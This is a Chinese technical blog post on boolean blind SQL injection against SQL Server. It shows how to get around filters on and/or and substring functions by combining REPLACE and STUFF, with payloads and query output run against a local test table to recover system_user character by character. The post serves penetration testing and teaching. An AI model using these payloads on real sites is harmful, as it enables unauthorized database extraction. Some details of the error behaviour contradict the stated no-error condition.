0x01 前言

这个问题是我在公司做项目的时候遇到的, 目标有注入, 但是有过滤分别过滤了

  1. and, or, left, right, substring

并且该注入点,没有报错,所以只能进行布尔盲注注入尝试慢慢出数据

对于这里注入出数据有两个难点
1, 站点过滤了 or and
2, 站点过滤了常用的字符串截断函数 left, right, substring

第一个难点可以使用表达式 +, -, *, /这四个玩意来闭合代码

第二个难点就比较难解决, 但是还是有办法, 那就是 REPLACE函数 + STUFF函数 形成一个另类的字符串截取函数

0x02 相关函数

0x02.1 REPLACE 函数

定义: REPLACE() 返回用 另一个字符串值替换原字符串 中出现的所有 指定字符串值 之后的字符串。

中文语法: REPLACE(原字符串 , 要查找的字符串 , 要替换的字符串)
英文语法: REPLACE(string_expression , string_pattern , string_replacement)

简单的说就是用英文语法 string_replacement 替换 string_expression 中出现的所有 string_pattern

0x02.1.1 例子

  1. # 把所有字符串 a 替换为 1
  2. 1> select REPLACE('abcdef', 'a', '1');
  3. 2> go
  4. +--------+
  5. | |
  6. +--------+
  7. | 1bcdef |
  8. +--------+
  9. (1 rows affected)
  1. # 把所有字符串 b 替换为 1
  2. 1> select REPLACE('abcdef', 'b', '1');
  3. 2> go
  4. +--------+
  5. | |
  6. +--------+
  7. | a1cdef |
  8. +--------+
  9. (1 rows affected)
  1. # 把所有字符串 ab 替换为 1
  2. 1> select REPLACE('abcdef', 'ab', '1');
  3. 2> go
  4. +-------+
  5. | |
  6. +-------+
  7. | 1cdef |
  8. +-------+
  9. (1 rows affected)

0x02.2 STUFF 函数

他并不是一个字符串截取函数,但是我们可以利用他,作为一个字符串截取函数

STUFF 函数将字符串插入到另一个字符串中。

它从第一个字符串的开始位置删除指定长度的字符;

然后将第二个字符串插入到第一个字符串的开始位置。

STUFF(‘要进行修改的数据’ , (int)’开始位置’ , (int)’删除的字符数’ , ‘插入开头的内容’)

0x02.2.1 STUFF 例子

  1. sql server > select STUFF('abcde',1,0,'');
  2. +--------------------------------+
  3. | field1 |
  4. +--------------------------------+
  5. | abcde |
  6. +--------------------------------+
  7. 1 row in set (0.00 sec)
  1. sql server > select STUFF('abcde',1,1,'');
  2. +--------------------------------+
  3. | field1 |
  4. +--------------------------------+
  5. | bcde |
  6. +--------------------------------+
  7. 1 row in set (0.00 sec)
  1. sql server > select STUFF('abcde',1,2,'');
  2. +--------------------------------+
  3. | field1 |
  4. +--------------------------------+
  5. | cde |
  6. +--------------------------------+
  7. 1 row in set (0.00 sec)

0x03 使用例子

看了前面两个函数的例子,到这里应该大概就可以猜到我要怎么操作了!
没错,我要把他们结合起来替代字符串截取函数

因为截图涉及项目,所以这里我没办法把实战的截图放出来,只能在本地测试给你们看了。

注入url:https://xxx.test.cn/xxx/xxx/list.jsp?id=2
注入参数:id

例如注入:system_user

  1. # 要注入的数据
  2. 1> select system_user;
  3. 2> go
  4. +----+
  5. | |
  6. +----+
  7. | sa |
  8. +----+
  9. (1 rows affected)
  1. # 测试的数据
  2. 1> select * from users;
  3. 2> go
  4. +----+--------------+-----------+
  5. | id | username | password |
  6. +----+--------------+-----------+
  7. | 1 | test-user-01 | 123456 |
  8. | 2 | test-user-02 | 234567 |
  9. | 3 | testaa | 4444 |
  10. +----+--------------+-----------+
  11. (3 rows affected)

假设现在:https://xxx.test.cn/xxx/xxx/list.jsp?id=2
返回的数据是这样的

  1. 1> select * from users where id=2;
  2. 2> go
  3. +-----+--------------+-----------+
  4. | id | username | password |
  5. +-----+--------------+-----------+
  6. | 2 | test-user-02 | 234567 |
  7. +-----+--------------+-----------+
  8. (1 rows affected)

那么现在开始注入

只要穷举到返回 id=2 数据 就说明注入成功了

0x03.1 获取 system_user 数据长度

如果想获取某个数据的长度可以这样获取

一直到获取不报错就说明 system_user 等于那个

0x03.1.1 错的情况

  1. 1> select * from users where id=2-REPLACE(STUFF(system_user,10,0,''),system_user,0);
  2. 2> go
  3. +----+----------+-----------+
  4. | id | username | password |
  5. +----+----------+-----------+
  6. +----+----------+-----------+
  7. (0 rows affected)

返回为空说明 system_user 长度不为 10

  1. 1> select * from users where id=2-REPLACE(STUFF(system_user,3,0,''),system_user,0);
  2. 2> go
  3. +----+----------+-----------+
  4. | id | username | password |
  5. +----+----------+-----------+
  6. +----+----------+-----------+
  7. (0 rows affected)

返回为空说明 system_user 长度不为 3

0x03.1.2 对的情况

  1. 1> select * from users where id=2-REPLACE(STUFF(system_user,2,0,''),system_user,0);
  2. 2> go
  3. +--------+------------+-----------+
  4. | id | username | password |
  5. +--------+------------+-----------+
  6. | 2 | test-user-02 | 234567 |
  7. +--------+------------+-----------+
  8. (1 rows affected)

返回了 id=2 的数据,说明 system_user 长度 = 2

0x03.2 system_user 第二位数据

0x03.2.1 错的情况

  1. 1> select * from users where id=2-REPLACE(STUFF(system_user,1,1,''),'b',0);
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 'a' 转换成数据类型 int 时失败。

数据库爆错了,说明 system_user 第二位 不等于 b

0x03.2.2 对的情况

  1. 1> select * from users where id=2-REPLACE(STUFF(system_user,1,1,''),'a',0);
  2. 2> go
  3. +-----+--------------+-----------+
  4. | id | username | password |
  5. +-----+--------------+-----------+
  6. | 2 | test-user-02 | 234567 |
  7. +-----+--------------+-----------+
  8. (1 rows affected)

正常显示出了 id=2 的数据,说明 system_user 第二位 等于 a

0x03.3 system_user 第一位数据

0x03.3.1 错的情况

  1. 1> select * from users where id=2-REPLACE(STUFF(system_user,1,0,''),'fa',0);
  2. 2> go
  3. 22018 - [SQL Server]在将 nvarchar 'o' 转换成数据类型 int 时失败。

数据库爆错了,说明 system_user 第一位 不等于 f

0x03.3.2 对的情况

  1. 1> select * from users where id=2-REPLACE(STUFF(system_user,1,0,''),'sa',0)
  2. 2> go
  3. +-----+--------------+-----------+
  4. | id | username | password |
  5. +-----+--------------+-----------+
  6. | 2 | test-user-02 | 234567 |
  7. +-----+--------------+-----------+
  8. (1 rows affected)

正常显示出了 id=2 的数据,说明 system_user 第一位 等于 s

所以 system_user = sa